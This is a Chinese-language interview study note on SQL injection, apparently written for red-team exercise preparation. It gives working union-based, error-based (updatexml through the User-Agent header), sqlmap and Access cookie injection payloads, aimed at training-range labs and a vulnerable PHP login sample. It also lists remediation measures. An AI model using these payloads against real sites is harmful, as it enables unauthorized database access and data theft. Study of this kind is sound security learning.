记录一个hw面试复习
0x001 sql注入漏洞
概念:SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
条件:①用户输入的数据被当作代码 ②用户可以控制输入
Mysql数据库
1.显错注入
显错注入的基本流程:
①判断是否存在注入
index.php?id=1 and 1=2 //如果页面显示错误则可能存在sql注入
或者是 index.php?id=1+1 //如果页面跳到id=2的页面则可能存在sql注入
②查看sql注入的字段数
ps:为什么要查看这个页面可传参数的字段数?由于我们接下来要执行union函数,union函数规定只有返回字段数相同的查询语句才可以正确执行,例如我们执行select 1,2,3 union select 1,2 数据库将报错
我们可以用order by来猜测可传参的字段数 如:order by 1就是按照第一个字段数排序
③查看回显点
index.php?id=1 union select 1,2,3 -- qwe
④查看表名
index.php?id=1 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1 -- qwe
ps:limit 0,1 意思是从第一行开始取一行数据 limit 0,2 意思是从第一行开始取两行数据 ,所以我们时常说select返回的内容实际上是返回了一个表
⑤查看字段
index.php?id=1 union select 1,2,column_name from information_schema.columns where table_name='error_flag' limit 2,1 -- qwe
⑥查看保存的数据
index.php?id=1 union select 1,2,flag from error_flag -- qwe
2.POST注入
POST注入与显错注入类似
3.Header注入
Header注入原理:在返回网站的请求头可以加入代码,使得人为更改的请求头被当作代码执行。
举例实现细节:利用了php的全局变量$_server获取用户相关信息且将数据存入数据库,利用updatexml函数语句构建特定的语句,报错返回数据库内的信息。
注入函数:①updatexml(需要替换的值,替换的文件在哪里,要替换成什么)//更新XML里面的内容,当路径中存在特殊符号时就会报错 ②concat(1,2,3,’asd’) 字符串拼接 ③同时还有其它的报错函数:https://www.cnblogs.com/ly2333/p/13628108.html
ps:在实践中header注入可能需要观察php源代码才能够确定可以注入的是哪一个请求头,所以header注入可能适用于源码已知的情况下。或者通过一个个尝试请求头的注入来实现。
我们可以观察下面这个例子
$username = $_POST['username'];
$password = $_POST['password'];
$uagent = $_SERVER['HTTP_USER_AGENT'];
$jc = $username.$password;
$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
if(preg_match('/.*\'.*/',$jc)!== 0){die('为了网站安全性,禁止输入某些特定符号');}
mysqli_select_db($conn,'****');//不想告诉你库名
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
$uname = $row['username'];
$passwd = $row['password'];
if($row){
$Insql = "INSERT INTO uagent (`uagent`,`username`) VALUES ('$uagent','$uname')";
$result1 = mysqli_query($conn,$Insql);
print_r(mysqli_error($conn));
echo '成功登录';
我们可以看到username和password都加入了过滤但是uagent没有于是我们可以修改它的ua头
到这里思路就很清晰了,还是老套路三步走,表名·字段名·取数据
①UA头注入 拿表名
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36' or updatexml(1,concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1),’1’) — qwe
......
4.布尔盲注、延时注入
原理见此:布尔盲注https://bbs.zkaq.cn/homework/40782.html 延时注入:https://bbs.zkaq.cn/homework/40808.html
这种注入我们一般用sqlmap来实现
sqlmap-master>python sqlmap.py -u http://inject2.lab.aqlab.cn/Pass-13/index.php?id=1 —level(等级) 3 —risk2(种类)
python sqlmap.py -u http://inject2b.lab.aqlab.cn/Pass-10/index.php?id=1 --dbs跑库名
5.sql注入的修复与预防
(1)所有查询语句都使用数据库提供的参数化查询接口,并且参数化语句使用参数,而不是将用户输入变量嵌入SQL语 句中。几乎所有当前的数据库系统都提供参数化的SQL语句执行接口。使用此接口可以有效地防止SQL注入攻击。
(2)对进入数据库的特殊字符(’”<>&*;等)进行转义处理,或编码转换。
(3)确认每个数据的类型。例如,数字数据必须是数字,并且数据库中的存储字段必须与int类型相对应。
(4)应严格规定数据长度,以防在一定程度上正确执行较长的SQL注入语句。
(5)网站每个数据层的编码是统一的。建议使用UTF-8编码。上下层编码不一致可能会导致某些过滤模型被绕过。
(6)严格限制网站用户数据库的操作权限,并向该用户提供只能满足其工作要求的权限,从而最大程度地减少了注入攻击对数据库的危害。
(7)阻止网站显示SQL错误消息,例如类型错误,字段不匹配等,以防止攻击者使用这些错误消息进行判断。
(8)在网站发布之前,建议使用一些专业的SQL注入检测工具来及时检测和修补这些SQL注入漏洞。
数据库注入
1.Access注入——cookie注入
什么是cookie:
cookie就是代表你身份的一串字符串,网站根据cookie来识别你是谁,如果你获取了管理员的cookie,无需密码就可以直接登录管理员的账号。
cookie注入的原理:
在动态脚本语言中存在着超全局变量可以获取多种传参方式(基本上)
很多开发在开发的过程中考虑到要接受多种方式的传参,在接收参数的时候都是用多种解释传参的方法。例如:php中的$_REQUEST[]可以获取POST、GET、COOKIE传参。(php5.4以上版本就不会接受COOKIE传参了)
如何修改cookie:1.用burp抓包来修改网页cookie 2.用浏览器的console窗口:"document.cookie='id='+escape("171 and 1=1")"
基本思路:首先检查网页的注入点,然后查询数据库的表名,这次是access数据库,access数据库没有自带系统表,而且它没有库的概念。所以我们只能用爆破的方式来查找access数据库中的表与字段。
爆破方式:and exits(select*from 表名)如果页面正常,就是存在着这个表,exists这个函数就是检查子查询能否查询到数据,如果可以就返回一个true。
靶场:
探测出有10个字段,构建语句并得到回显位置